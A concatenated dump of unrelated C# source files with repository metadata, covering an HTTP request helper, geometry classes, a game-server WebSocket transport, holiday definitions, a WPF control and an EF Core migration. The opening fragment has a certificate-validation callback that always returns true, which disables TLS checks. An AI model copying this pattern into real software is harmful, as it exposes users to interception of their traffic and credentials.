myHttpRequestMessage.Content = new StringContent(AyehuHelper.omitJsonEmptyorNull(postData), Encoding.UTF8, "application/json");
else
myHttpRequestMessage.Content = new StringContent(postData, Encoding.UTF8, contentType);
foreach (KeyValuePair<string, string> headeritem in headers)
client.DefaultRequestHeaders.Add(headeritem.Key, headeritem.Value);
HttpResponseMessage response = client.SendAsync(myHttpRequestMessage).Result;
switch (response.StatusCode)
{
case HttpStatusCode.NoContent:
case HttpStatusCode.Created:
case HttpStatusCode.Accepted:
case HttpStatusCode.OK:
{
if (string.IsNullOrEmpty(response.Content.ReadAsStringAsync().Result) == false)
return this.GenerateActivityResult(response.Content.ReadAsStringAsync().Result, Jsonkeypath);
else
return this.GenerateActivityResult("Success");
}
default:
{
if (string.IsNullOrEmpty(response.Content.ReadAsStringAsync().Result) == false)
throw new Exception(response.Content.ReadAsStringAsync().Result);
else if (string.IsNullOrEmpty(response.ReasonPhrase) == false)
throw new Exception(response.ReasonPhrase);
else
throw new Exception(response.StatusCode.ToString());
}
}
}
public bool AcceptAllCertifications(object sender, System.Security.Cryptography.X509Certificates.X509Certificate certification, System.Security.Cryptography.X509Certificates.X509Chain chain, System.Net.Security.SslPolicyErrors sslPolicyErrors)
{
return true;
}
}
} | 36.668639 | 251 | 0.620462 | [
"MIT"
] | Ayehu/custom-activities | Thycotic/Proxy/TY Update an engine proxy configuration/TY Update an engine proxy configuration.cs | 6,197 | C# |
// <copyright file="Hyperbola.cs">
// Copyright © 2019 - 2020 Shkyrockett. All rights reserved.
// </copyright>
// <author id="shkyrockett">Shkyrockett</author>
// <license>
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
// </license>
// <summary></summary>
// <remarks></remarks>
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.Numerics;
using System.Runtime.CompilerServices;
namespace ConicSectionLibrary
{
/// <summary>
///
/// </summary>
/// <seealso cref="IGeometry" />
[DebuggerDisplay("{" + nameof(GetDebuggerDisplay) + "(),nq}")]
public class Hyperbola
: IGeometry
{
/// <summary>
/// Initializes a new instance of the <see cref="Hyperbola" /> class.
/// </summary>
/// <param name="h">The h.</param>
/// <param name="k">The k.</param>
/// <param name="rX">The r x.</param>
/// <param name="rY">The r y.</param>
/// <param name="a">a.</param>
[MethodImpl(MethodImplOptions.AggressiveInlining)]
public Hyperbola(double h, double k, double rX, double rY, double a)
{
(H, K, RX, RY, A, ConicSection) = (h, k, rX, rY, a, ToUnitConicSection());
}
/// <summary>
/// Initializes a new instance of the <see cref="Hyperbola" /> class.
/// </summary>
/// <param name="tuple">The tuple.</param>
[MethodImpl(MethodImplOptions.AggressiveInlining)]
public Hyperbola((double h, double k, double rX, double rY, double a) tuple)
: this(tuple.h, tuple.k, tuple.rX, tuple.rY, tuple.a)
{ }
/// <summary>
/// Deconstructs the specified Hyperbola.
/// </summary>
/// <param name="h">The h.</param>
/// <param name="k">The k.</param>
/// <param name="rX">The r x.</param>
/// <param name="rY">The r y.</param>
/// <param name="a">a.</param>
[MethodImpl(MethodImplOptions.AggressiveInlining)]
public void Deconstruct(out double h, out double k, out double rX, out double rY, out double a) => (h, k, rX, rY, a) = (H, K, RX, RY, A);
/// <summary>
/// Gets or sets the h.
/// </summary>
/// <value>
/// The h.
/// </value>
public double H { get; set; }
/// <summary>
/// Gets or sets the k.
/// </summary>
/// <value>
/// The k.
/// </value>
public double K { get; set; }
/// <summary>
/// Gets or sets the rx.
/// </summary>
/// <value>
/// The rx.
/// </value>
public double RX { get; set; }
/// <summary>
/// Gets or sets the ry.
/// </summary>
/// <value>
/// The ry.
/// </value>
public double RY { get; set; }
/// <summary>
/// Gets or sets a.
/// </summary>
/// <value>
/// The a.
/// </value>
public double A { get; set; }
/// <summary>
/// Gets or sets the pen.
/// </summary>
/// <value>
/// The pen.
/// </value>
public IDisposable Pen { get; set; }
/// <summary>
/// Gets or sets the name.
/// </summary>
/// <value>
/// The name.
/// </value>
public string Name { get; set; }
/// <summary>
/// Gets or sets the conic section.
/// </summary>
/// <value>
/// The conic section.
/// </value>
public ConicSection ConicSection { get; set; }
/// <summary>
/// Occurs when [property changed].
/// </summary>
public event PropertyChangedEventHandler PropertyChanged;
/// <summary>
/// Raises the property changed event.
/// </summary>
/// <param name="name">The name.</param>
[MethodImpl(MethodImplOptions.AggressiveInlining)]
public void OnPropertyChanged([CallerMemberName] string name = "") => PropertyChanged?.Invoke(this, new PropertyChangedEventArgs(name));
/// <summary>
/// Translates the specified delta.
/// </summary>
/// <param name="delta">The delta.</param>
/// <returns></returns>
/// <exception cref="NotImplementedException"></exception>
public IGeometry Translate(Vector2 delta) => throw new NotImplementedException();
/// <summary>
/// Queries whether the shape includes the specified point in it's geometry.
/// </summary>
/// <param name="point">The point.</param>
/// <returns></returns>
/// <exception cref="NotImplementedException"></exception>
public bool Includes(PointF point) => throw new NotImplementedException();
/// <summary>
/// Converts to a conic section.
/// </summary>
/// <returns></returns>
[MethodImpl(MethodImplOptions.AggressiveInlining)]
public ConicSection ToUnitConicSection() => ConversionD.HyperbolaToConicSection(RX, RY, H, K, A);
/// <summary>
/// Converts to string.
/// </summary>
/// <param name="format">The format.</param>
/// <param name="formatProvider">The format provider.</param>
/// <returns>
/// A <see cref="System.String" /> that represents this instance.
/// </returns>
public string ToString(string format, IFormatProvider formatProvider) => ToString();
/// <summary>
/// Converts to string.
/// </summary>
/// <returns>
/// A <see cref="string" /> that represents this instance.
/// </returns>
[MethodImpl(MethodImplOptions.AggressiveInlining)]
public override string ToString() => $"{nameof(Hyperbola)}({nameof(H)}: {H}, {nameof(K)}: {K}, {nameof(RX)}: {RX}, {nameof(RY)}: {RY}, {nameof(A)}: {A})";
/// <summary>
/// Gets the debugger display.
/// </summary>
/// <returns></returns>
[MethodImpl(MethodImplOptions.AggressiveInlining)]
private string GetDebuggerDisplay() => ToString();
}
}
| 33.297872 | 162 | 0.532748 | [
"MIT"
] | Shkyrockett/ConicSectionPlayground | ConicSectionLibrary/Classes/Shapes/Hyperbola.cs | 6,263 | C# |
// Copyright (c) ppy Pty Ltd <contact@ppy.sh>. Licensed under the MIT Licence.
// See the LICENCE file in the repository root for full licence text.
using osu.Framework.Graphics;
using osu.Framework.Graphics.Containers;
using osu.Game.Online.API.Requests.Responses;
using System;
namespace osu.Game.Overlays.Changelog
{
public class ChangelogContent : FillFlowContainer
{
public Action<APIChangelogBuild> BuildSelected;
public void SelectBuild(APIChangelogBuild build) => BuildSelected?.Invoke(build);
public ChangelogContent()
{
RelativeSizeAxes = Axes.X;
AutoSizeAxes = Axes.Y;
Direction = FillDirection.Vertical;
}
}
}
| 29.56 | 90 | 0.671177 | [
"MIT"
] | 02Naitsirk/osu | osu.Game/Overlays/Changelog/ChangelogContent.cs | 717 | C# |
/**
* Copyright 2017 The Nakama Authors
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
using System;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Reflection;
using Google.Protobuf;
using WebSocketSharp;
namespace Nakama
{
internal class NTransportWebSocket : INTransport
{
public Action<SocketCloseEventArgs> OnClose;
public Action<SocketErrorEventArgs> OnError;
public Action<SocketMessageEventArgs> OnMessage;
public Action OnOpen;
public bool Trace { get; set; }
public INLogger Logger { get; set; }
private WebSocket socket;
public void Post(string uri,
AuthenticateRequest payload,
string authHeader,
string langHeader,
uint timeout,
uint connectTimeout,
Action<byte[]> successAction,
Action<Exception> errorAction)
{
var request = (HttpWebRequest)WebRequest.Create(uri);
request.Method = WebRequestMethods.Http.Post;
request.ContentType = "application/octet-stream;";
request.Accept = "application/octet-stream;";
// Add Headers
var version = Assembly.GetExecutingAssembly().GetName().Version;
request.UserAgent = String.Format("nakama-unitysdk/{0}", version);
request.Headers.Add(HttpRequestHeader.Authorization, authHeader);
request.Headers.Add(HttpRequestHeader.AcceptLanguage, langHeader);
// Optimise request
request.Timeout = unchecked((int)connectTimeout);
request.ReadWriteTimeout = unchecked((int)timeout);
request.KeepAlive = true;
request.Proxy = null;
// FIXME(novabyte) Does HttpWebRequest ignore timeouts in async mode?
dispatchRequestAsync(request, payload, (response) =>
{
if (Trace)
{
Logger.TraceFormat("RawHttpResponse={0}", customToString(response));
}
var stream = response.GetResponseStream();
var data = convertStream(stream);
stream.Close();
successAction(data);
response.Close();
}, errorAction);
}
private static void dispatchRequestAsync(WebRequest request,
AuthenticateRequest payload,
Action<HttpWebResponse> successAction,
Action<Exception> errorAction)
{
// Wrap HttpWebRequest dispatch to avoid sync connection setup
Action dispatchAction = () =>
{
try
{
// Pack payload
var memStream = new MemoryStream();
payload.WriteTo(memStream);
var data = memStream.ToArray();
request.ContentLength = data.Length;
Stream dataStream = request.GetRequestStream();
dataStream.Write(data, 0, data.Length);
dataStream.Close();
}
catch (WebException e)
{
// Handle ConnectFailure socket errors
errorAction(e);
return;
}
request.BeginGetResponse((iar) =>
{
try
{
var response = (HttpWebResponse)((HttpWebRequest)iar.AsyncState).EndGetResponse(iar);
successAction(response);
}
catch (WebException e)
{
if (e.Response is HttpWebResponse)
{
successAction(e.Response as HttpWebResponse);
return;
}
errorAction(e);
}
}, request);
};
dispatchAction.BeginInvoke((iar) =>
{
var action = (Action)iar.AsyncState;
action.EndInvoke(iar);
}, dispatchAction);
}
private static string customToString(HttpWebResponse response)
{
var f = "{{ \"uri\": \"{0}\", \"method\": \"{1}\", \"status\": {{ \"code\": {2}, \"description\": \"{3}\" }} }}";
return String.Format(f, response.ResponseUri, response.Method, (int)response.StatusCode, response.StatusDescription);
}
private static byte[] convertStream (Stream stream)
{
var buffer = new byte[4 * 1024];
using (var ms = new MemoryStream())
{
while (true)
{
var read = stream.Read (buffer, 0, buffer.Length);
if (read <= 0)
{
return ms.ToArray();
}
ms.Write (buffer, 0, read);
}
}
}
private void createWebSocket(string uri)
{
socket = new WebSocket(uri);
if (Trace)
{
socket.Log.Level = LogLevel.Debug;
}
socket.OnClose += (sender, evt) =>
{
// Release socket handle
socket = null;
Logger.TraceIf(Trace, String.Format("Socket Closed. Code={0}, Reason={1}", evt.Code, evt.Reason));
if (OnClose != null)
{
OnClose(new SocketCloseEventArgs(evt.Code, evt.Reason));
}
};
socket.OnMessage += (sender, evt) =>
{
if (evt.IsPing)
{
Logger.TraceIf(Trace, "SocketReceive: WebSocket ping.");
return;
}
if (evt.IsText)
{
Logger.TraceIf(Trace, "SocketReceive: Invalid content (text/plain).");
return;
}
if (OnMessage != null)
{
OnMessage(new SocketMessageEventArgs(evt.RawData));
}
};
socket.OnError += (sender, evt) =>
{
if (OnError != null)
{
OnError(new SocketErrorEventArgs(evt.Exception));
}
};
socket.OnOpen += (sender, evt) =>
{
if (OnOpen != null)
{
OnOpen();
}
};
}
public void Connect(string uri, string token)
{
if (socket == null)
{
createWebSocket(uri);
}
socket.Connect();
// Experimental. Get a reference to the underlying socket and enable TCP_NODELAY.
Logger.TraceIf(Trace, "Connect: Enabling NoDelay on socket.");
socket.TcpClient.Client.SetSocketOption(SocketOptionLevel.Tcp, SocketOptionName.NoDelay, true);
Logger.TraceIf(Trace, "Connect: Enabled NoDelay on socket.");
}
public void ConnectAsync(string uri, string token, Action<bool> callback)
{
if (socket == null)
{
createWebSocket(uri);
socket.OnOpen += (sender, _) =>
{
// Experimental. Get a reference to the underlying socket and enable TCP_NODELAY.
Logger.TraceIf(Trace, "ConnectAsync: Enabling NoDelay on socket.");
socket.TcpClient.Client.SetSocketOption(SocketOptionLevel.Tcp, SocketOptionName.NoDelay, true);
Logger.TraceIf(Trace, "ConnectAsync: Enabled NoDelay on socket.");
callback(true);
};
}
socket.ConnectAsync();
}
public void Close()
{
if (socket != null)
{
socket.Close(CloseStatusCode.Normal);
}
}
public void CloseAsync(Action callback)
{
if (socket != null)
{
socket.CloseAsync(CloseStatusCode.Normal);
}
callback();
}
public void Send(byte[] data, bool reliable)
{
if (socket != null)
{
socket.Send(data);
}
else
{
Logger.Warn("Send: Failed to send message. Client not connected.");
}
}
public void SendAsync(byte[] data, bool reliable, Action<bool> completed)
{
if (socket != null)
{
socket.SendAsync(data, completed);
}
else
{
Logger.Warn("SendAsync: Failed to send message. Client not connected.");
completed(false);
}
}
public void SetOnClose(Action<SocketCloseEventArgs> OnClose)
{
this.OnClose = OnClose;
}
public void SetOnError(Action<SocketErrorEventArgs> OnError)
{
this.OnError = OnError;
}
public void SetOnMessage(Action<SocketMessageEventArgs> OnMessage)
{
this.OnMessage = OnMessage;
}
public void SetOnOpen(Action OnOpen)
{
this.OnOpen = OnOpen;
}
}
}
| 33.039474 | 129 | 0.494325 | [
"Apache-2.0"
] | GameInstitute/nakama-docs | docs/nakama/examples/unity/nakama-showreel/Assets/Nakama/Plugins/Nakama/NTransportWebSocket.cs | 10,046 | C# |
using Cosmos.Business.Extensions.Holiday.Core;
using Cosmos.I18N.Countries;
namespace Cosmos.Business.Extensions.Holiday.Definitions.Europe.Croatia.Religion
{
/// <summary>
/// Epiphany
/// </summary>
public class Epiphany : BaseFixedHolidayFunc
{
/// <inheritdoc />
public override Country Country { get; } = Country.Croatia;
/// <inheritdoc />
public override Country BelongsToCountry { get; } = Country.Croatia;
/// <inheritdoc />
public override string Name { get; } = "Bogojavljenje, Sveta tri kralja";
/// <inheritdoc />
public override HolidayType HolidayType { get; set; } = HolidayType.Religion;
/// <inheritdoc />
public override int Month { get; set; } = 1;
/// <inheritdoc />
public override int Day { get; set; } = 6;
/// <inheritdoc />
public override string I18NIdentityCode { get; } = "i18n_holiday_hr_epiphany";
}
} | 30.46875 | 86 | 0.615385 | [
"Apache-2.0"
] | cosmos-open/Holiday | src/Cosmos.Business.Extensions.Holiday/Cosmos/Business/Extensions/Holiday/Definitions/Europe/Croatia/Religion/Epiphany.cs | 975 | C# |
namespace HQF.Daily.Authorization
{
public static class PermissionNames
{
public const string Pages_Tenants = "Pages.Tenants";
public const string Pages_Users = "Pages.Users";
public const string Pages_Roles = "Pages.Roles";
}
} | 24.272727 | 60 | 0.674157 | [
"MIT"
] | huoxudong125/HQF.ABP.Daily | src/HQF.Daily.Core/Authorization/PermissionNames.cs | 269 | C# |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Data;
using System.Windows.Documents;
using System.Windows.Input;
using System.Windows.Media;
using System.Windows.Media.Imaging;
using System.Windows.Navigation;
using System.Windows.Shapes;
using System.Reflection;
using Materia.Nodes.Helpers;
using Materia.MathHelpers;
namespace Materia.UI.Components
{
/// <summary>
/// Interaction logic for Toggle.xaml
/// </summary>
public partial class ToggleControl : UserControl
{
PropertyInfo property;
object propertyOwner;
public ToggleControl()
{
InitializeComponent();
}
public ToggleControl(string name, PropertyInfo p, object owner)
{
InitializeComponent();
property = p;
propertyOwner = owner;
Toggle.Content = name;
object v = p.GetValue(owner);
if (Utils.IsNumber(v) || v is bool)
{
Toggle.IsChecked = Convert.ToBoolean(v);
}
else if(v is MVector)
{
Toggle.IsChecked = Utils.VectorToBool(v);
}
else
{
Toggle.IsChecked = false;
}
}
private void Toggle_Click(object sender, RoutedEventArgs e)
{
if (property == null) return;
if (property.PropertyType.IsEnum)
{
int i = 0;
if (Toggle.IsChecked != null)
{
i = Toggle.IsChecked.Value ? 1 : 0;
}
property.SetValue(propertyOwner, i);
}
else if (property.PropertyType.Equals(typeof(float)) || property.PropertyType.Equals(typeof(double))
|| property.PropertyType.Equals(typeof(int)) || property.PropertyType.Equals(typeof(long)))
{
int i = 0;
if (Toggle.IsChecked != null)
{
i = Toggle.IsChecked.Value ? 1 : 0;
}
property.SetValue(propertyOwner, i);
}
else
{
property.SetValue(propertyOwner, Toggle.IsChecked);
}
}
}
}
| 27.816092 | 112 | 0.535537 | [
"MIT"
] | Colorfingers/Materia | Materia/UI/Components/ToggleControl.xaml.cs | 2,422 | C# |
// <auto-generated />
using System;
using Commitments.Infrastructure.Data;
using Microsoft.EntityFrameworkCore;
using Microsoft.EntityFrameworkCore.Infrastructure;
using Microsoft.EntityFrameworkCore.Metadata;
using Microsoft.EntityFrameworkCore.Metadata.Internal;
using Microsoft.EntityFrameworkCore.Migrations;
namespace Commitments.Infrastructure.Migrations
{
[DbContext(typeof(AppDbContext))]
[Migration("20180527151113_DigtialAssetContentType")]
partial class DigtialAssetContentType
{
protected override void BuildTargetModel(ModelBuilder modelBuilder)
{
#pragma warning disable 612, 618
modelBuilder
.HasAnnotation("ProductVersion", "2.1.0-preview2-30571")
.HasAnnotation("SqlServer:ValueGenerationStrategy", SqlServerValueGenerationStrategy.IdentityColumn);
modelBuilder.Entity("Commitments.Core.Entities.Activity", b =>
{
b.Property<int>("ActivityId")
.ValueGeneratedOnAdd();
b.Property<int>("BehaviourId");
b.Property<DateTime>("CreatedOn");
b.Property<string>("Description");
b.Property<bool>("IsDeleted");
b.Property<DateTime>("LastModifiedOn");
b.Property<DateTime>("PerformedOn");
b.Property<int>("ProfileId");
b.HasKey("ActivityId");
b.HasIndex("BehaviourId");
b.HasIndex("ProfileId");
b.ToTable("Activities");
});
modelBuilder.Entity("Commitments.Core.Entities.Behaviour", b =>
{
b.Property<int>("BehaviourId")
.ValueGeneratedOnAdd();
b.Property<int>("BehaviourTypeId");
b.Property<DateTime>("CreatedOn");
b.Property<string>("Description");
b.Property<bool>("IsDeleted");
b.Property<DateTime>("LastModifiedOn");
b.Property<string>("Name");
b.Property<int?>("ProfileId");
b.Property<string>("Slug");
b.HasKey("BehaviourId");
b.HasIndex("BehaviourTypeId");
b.HasIndex("ProfileId");
b.ToTable("Behaviours");
});
modelBuilder.Entity("Commitments.Core.Entities.BehaviourType", b =>
{
b.Property<int>("BehaviourTypeId")
.ValueGeneratedOnAdd();
b.Property<DateTime>("CreatedOn");
b.Property<bool>("IsDeleted");
b.Property<DateTime>("LastModifiedOn");
b.Property<string>("Name");
b.HasKey("BehaviourTypeId");
b.ToTable("BehaviourTypes");
});
modelBuilder.Entity("Commitments.Core.Entities.Card", b =>
{
b.Property<int>("CardId")
.ValueGeneratedOnAdd();
b.Property<DateTime>("CreatedOn");
b.Property<string>("Description");
b.Property<bool>("IsDeleted");
b.Property<DateTime>("LastModifiedOn");
b.Property<string>("Name");
b.HasKey("CardId");
b.ToTable("Cards");
});
modelBuilder.Entity("Commitments.Core.Entities.CardLayout", b =>
{
b.Property<int>("CardLayoutId")
.ValueGeneratedOnAdd();
b.Property<DateTime>("CreatedOn");
b.Property<string>("Description");
b.Property<bool>("IsDeleted");
b.Property<DateTime>("LastModifiedOn");
b.Property<string>("Name");
b.HasKey("CardLayoutId");
b.ToTable("CardLayouts");
});
modelBuilder.Entity("Commitments.Core.Entities.Commitment", b =>
{
b.Property<int>("CommitmentId")
.ValueGeneratedOnAdd();
b.Property<int>("BehaviourId");
b.Property<DateTime>("CreatedOn");
b.Property<bool>("IsDeleted");
b.Property<DateTime>("LastModifiedOn");
b.Property<int>("ProfileId");
b.HasKey("CommitmentId");
b.HasIndex("BehaviourId");
b.HasIndex("ProfileId");
b.ToTable("Commitment");
});
modelBuilder.Entity("Commitments.Core.Entities.CommitmentFrequency", b =>
{
b.Property<int>("CommitmentFrequencyId")
.ValueGeneratedOnAdd();
b.Property<int?>("CommitmentId");
b.Property<int?>("FrequencyId");
b.HasKey("CommitmentFrequencyId");
b.HasIndex("CommitmentId");
b.HasIndex("FrequencyId");
b.ToTable("CommitmentFrequency");
});
modelBuilder.Entity("Commitments.Core.Entities.CommitmentPreCondition", b =>
{
b.Property<int>("CommitmentPreConditionId")
.ValueGeneratedOnAdd();
b.Property<int>("CommitmentId");
b.Property<string>("Name");
b.HasKey("CommitmentPreConditionId");
b.HasIndex("CommitmentId");
b.ToTable("CommitmentPreCondition");
});
modelBuilder.Entity("Commitments.Core.Entities.Dashboard", b =>
{
b.Property<int>("DashboardId")
.ValueGeneratedOnAdd();
b.Property<DateTime>("CreatedOn");
b.Property<bool>("IsDeleted");
b.Property<DateTime>("LastModifiedOn");
b.Property<string>("Name");
b.Property<int>("ProfileId");
b.HasKey("DashboardId");
b.ToTable("Dashboards");
});
modelBuilder.Entity("Commitments.Core.Entities.DashboardCard", b =>
{
b.Property<int>("DashboardCardId")
.ValueGeneratedOnAdd();
b.Property<int?>("CardId");
b.Property<int?>("CardLayoutId");
b.Property<DateTime>("CreatedOn");
b.Property<int>("DashboardId");
b.Property<bool>("IsDeleted");
b.Property<DateTime>("LastModifiedOn");
b.Property<string>("Options");
b.HasKey("DashboardCardId");
b.HasIndex("CardId");
b.HasIndex("CardLayoutId");
b.HasIndex("DashboardId");
b.ToTable("DashboardCards");
});
modelBuilder.Entity("Commitments.Core.Entities.DigitalAsset", b =>
{
b.Property<Guid>("DigitalAssetId")
.ValueGeneratedOnAdd()
.HasDefaultValueSql("newsequentialid()");
b.Property<byte[]>("Bytes");
b.Property<string>("ContentType");
b.Property<string>("Name");
b.HasKey("DigitalAssetId");
b.ToTable("DigitalAssets");
});
modelBuilder.Entity("Commitments.Core.Entities.Frequency", b =>
{
b.Property<int>("FrequencyId")
.ValueGeneratedOnAdd();
b.Property<DateTime>("CreatedOn");
b.Property<int>("Frequency");
b.Property<int>("FrequencyTypeId");
b.Property<bool>("IsDeleted");
b.Property<bool>("IsDesirable");
b.Property<DateTime>("LastModifiedOn");
b.HasKey("FrequencyId");
b.HasIndex("FrequencyTypeId");
b.ToTable("Frequencies");
});
modelBuilder.Entity("Commitments.Core.Entities.FrequencyType", b =>
{
b.Property<int>("FrequencyTypeId")
.ValueGeneratedOnAdd();
b.Property<DateTime>("CreatedOn");
b.Property<bool>("IsDeleted");
b.Property<DateTime>("LastModifiedOn");
b.Property<string>("Name");
b.HasKey("FrequencyTypeId");
b.ToTable("FrequencyTypes");
});
modelBuilder.Entity("Commitments.Core.Entities.Note", b =>
{
b.Property<int>("NoteId")
.ValueGeneratedOnAdd();
b.Property<string>("Body");
b.Property<DateTime>("CreatedOn");
b.Property<bool>("IsDeleted");
b.Property<DateTime>("LastModifiedOn");
b.Property<string>("Slug");
b.Property<string>("Title");
b.HasKey("NoteId");
b.ToTable("Notes");
});
modelBuilder.Entity("Commitments.Core.Entities.NoteTag", b =>
{
b.Property<int>("NoteTagId")
.ValueGeneratedOnAdd();
b.Property<DateTime>("CreatedOn");
b.Property<bool>("IsDeleted");
b.Property<DateTime>("LastModifiedOn");
b.Property<int>("NoteId");
b.Property<int>("TagId");
b.HasKey("NoteTagId");
b.HasIndex("NoteId");
b.HasIndex("TagId");
b.ToTable("NoteTag");
});
modelBuilder.Entity("Commitments.Core.Entities.Profile", b =>
{
b.Property<int>("ProfileId")
.ValueGeneratedOnAdd();
b.Property<string>("AvatarUrl");
b.Property<DateTime>("CreatedOn");
b.Property<bool>("IsDeleted");
b.Property<DateTime>("LastModifiedOn");
b.Property<string>("Name");
b.Property<int>("UserId");
b.HasKey("ProfileId");
b.HasIndex("UserId");
b.ToTable("Profiles");
});
modelBuilder.Entity("Commitments.Core.Entities.Tag", b =>
{
b.Property<int>("TagId")
.ValueGeneratedOnAdd();
b.Property<DateTime>("CreatedOn");
b.Property<bool>("IsDeleted");
b.Property<DateTime>("LastModifiedOn");
b.Property<string>("Name");
b.Property<string>("Slug");
b.HasKey("TagId");
b.ToTable("Tags");
});
modelBuilder.Entity("Commitments.Core.Entities.ToDo", b =>
{
b.Property<int>("ToDoId")
.ValueGeneratedOnAdd();
b.Property<DateTime?>("CompletedOn");
b.Property<DateTime>("CreatedOn");
b.Property<string>("Description");
b.Property<DateTime>("DueOn");
b.Property<bool>("IsDeleted");
b.Property<DateTime>("LastModifiedOn");
b.Property<string>("Name");
b.Property<int>("ProfileId");
b.HasKey("ToDoId");
b.HasIndex("ProfileId");
b.ToTable("ToDos");
});
modelBuilder.Entity("Commitments.Core.Entities.User", b =>
{
b.Property<int>("UserId")
.ValueGeneratedOnAdd();
b.Property<DateTime>("CreatedOn");
b.Property<bool>("IsDeleted");
b.Property<DateTime>("LastModifiedOn");
b.Property<string>("Password");
b.Property<byte[]>("Salt");
b.Property<string>("Username");
b.HasKey("UserId");
b.ToTable("Users");
});
modelBuilder.Entity("Commitments.Core.Entities.Activity", b =>
{
b.HasOne("Commitments.Core.Entities.Behaviour", "Behaviour")
.WithMany()
.HasForeignKey("BehaviourId")
.OnDelete(DeleteBehavior.Cascade);
b.HasOne("Commitments.Core.Entities.Profile", "Profile")
.WithMany()
.HasForeignKey("ProfileId")
.OnDelete(DeleteBehavior.Cascade);
});
modelBuilder.Entity("Commitments.Core.Entities.Behaviour", b =>
{
b.HasOne("Commitments.Core.Entities.BehaviourType", "BehaviourType")
.WithMany("Behaviours")
.HasForeignKey("BehaviourTypeId")
.OnDelete(DeleteBehavior.Cascade);
b.HasOne("Commitments.Core.Entities.Profile")
.WithMany("Commitments")
.HasForeignKey("ProfileId");
});
modelBuilder.Entity("Commitments.Core.Entities.Commitment", b =>
{
b.HasOne("Commitments.Core.Entities.Behaviour", "Behaviour")
.WithMany("Commitments")
.HasForeignKey("BehaviourId")
.OnDelete(DeleteBehavior.Cascade);
b.HasOne("Commitments.Core.Entities.Profile", "Profile")
.WithMany()
.HasForeignKey("ProfileId")
.OnDelete(DeleteBehavior.Cascade);
});
modelBuilder.Entity("Commitments.Core.Entities.CommitmentFrequency", b =>
{
b.HasOne("Commitments.Core.Entities.Commitment", "Commitment")
.WithMany("CommitmentFrequencies")
.HasForeignKey("CommitmentId");
b.HasOne("Commitments.Core.Entities.Frequency", "Frequency")
.WithMany("CommitmentFrequencies")
.HasForeignKey("FrequencyId");
});
modelBuilder.Entity("Commitments.Core.Entities.CommitmentPreCondition", b =>
{
b.HasOne("Commitments.Core.Entities.Commitment", "Commitment")
.WithMany("CommitmentPreConditions")
.HasForeignKey("CommitmentId")
.OnDelete(DeleteBehavior.Cascade);
});
modelBuilder.Entity("Commitments.Core.Entities.DashboardCard", b =>
{
b.HasOne("Commitments.Core.Entities.Card", "Card")
.WithMany()
.HasForeignKey("CardId");
b.HasOne("Commitments.Core.Entities.CardLayout", "CardLayout")
.WithMany()
.HasForeignKey("CardLayoutId");
b.HasOne("Commitments.Core.Entities.Dashboard", "Dashboard")
.WithMany("DashboardCards")
.HasForeignKey("DashboardId")
.OnDelete(DeleteBehavior.Cascade);
});
modelBuilder.Entity("Commitments.Core.Entities.Frequency", b =>
{
b.HasOne("Commitments.Core.Entities.FrequencyType", "FrequencyType")
.WithMany()
.HasForeignKey("FrequencyTypeId")
.OnDelete(DeleteBehavior.Cascade);
});
modelBuilder.Entity("Commitments.Core.Entities.NoteTag", b =>
{
b.HasOne("Commitments.Core.Entities.Note", "Note")
.WithMany("NoteTags")
.HasForeignKey("NoteId")
.OnDelete(DeleteBehavior.Cascade);
b.HasOne("Commitments.Core.Entities.Tag", "Tag")
.WithMany("NoteTags")
.HasForeignKey("TagId")
.OnDelete(DeleteBehavior.Cascade);
});
modelBuilder.Entity("Commitments.Core.Entities.Profile", b =>
{
b.HasOne("Commitments.Core.Entities.User", "User")
.WithMany()
.HasForeignKey("UserId")
.OnDelete(DeleteBehavior.Cascade);
});
modelBuilder.Entity("Commitments.Core.Entities.ToDo", b =>
{
b.HasOne("Commitments.Core.Entities.Profile", "Profile")
.WithMany()
.HasForeignKey("ProfileId")
.OnDelete(DeleteBehavior.Cascade);
});
#pragma warning restore 612, 618
}
}
}
| 31.898032 | 117 | 0.459593 | [
"MIT"
] | QuinntyneBrown/Commitments | src/Commitments.Infrastructure/Migrations/20180527151113_DigtialAssetContentType.Designer.cs | 17,833 | C# |
namespace Sandra.SimpleValidator
{
public class ValidationError
{
public string Message { get; set; }
public string PropertyName { get; set; }
}
} | 21.875 | 48 | 0.634286 | [
"MIT"
] | PureKrome/Sandra.SimpleValidator | src/Sandra.SimpleValidator/ValidationError.cs | 177 | C# |
namespace DiscordHackWeek.Entities
{
public interface INService { }
} | 18.5 | 35 | 0.756757 | [
"MIT"
] | sphexator/DiscordHackWeek | DiscordHackWeek/Entities/INService.cs | 76 | C# |
using System;
using System.Drawing;
using System.Drawing.Drawing2D;
namespace Roro.Workflow
{
public abstract class Port
{
public Guid Id { get; }
public Guid NextNodeId { get; set; }
public Rectangle Bounds { get; set; }
public abstract Point GetOffset(Rectangle r);
public abstract Brush GetBackBrush();
public Port()
{
this.Id = Guid.NewGuid();
}
internal void UpdateBounds(Rectangle r)
{
var portPoint = this.GetOffset(r);
var portSize = new Size(PageRenderOptions.GridSize, PageRenderOptions.GridSize);
portPoint.Offset(-portSize.Width / 2, -portSize.Height / 2);
var portBounds = new Rectangle(portPoint, portSize);
this.Bounds = portBounds;
}
public GraphicsPath Render(Graphics g, Rectangle r, NodeStyle o)
{
this.UpdateBounds(r);
g.FillEllipse(this.GetBackBrush(), this.Bounds);
var portPath = new GraphicsPath();
portPath.StartFigure();
portPath.AddEllipse(this.Bounds);
portPath.CloseFigure();
return portPath;
}
}
public sealed class NextPort : Port
{
public override Point GetOffset(Rectangle r) => r.CenterBottom();
public override Brush GetBackBrush() => new SolidBrush(Color.FromArgb(100, Color.Blue));
}
public sealed class TruePort : Port
{
public override Point GetOffset(Rectangle r) => r.CenterBottom();
public override Brush GetBackBrush() => new SolidBrush(Color.FromArgb(100, Color.Green));
}
public sealed class FalsePort : Port
{
public override Point GetOffset(Rectangle r) => r.CenterRight();
public override Brush GetBackBrush() => new SolidBrush(Color.FromArgb(100, Color.Red));
}
}
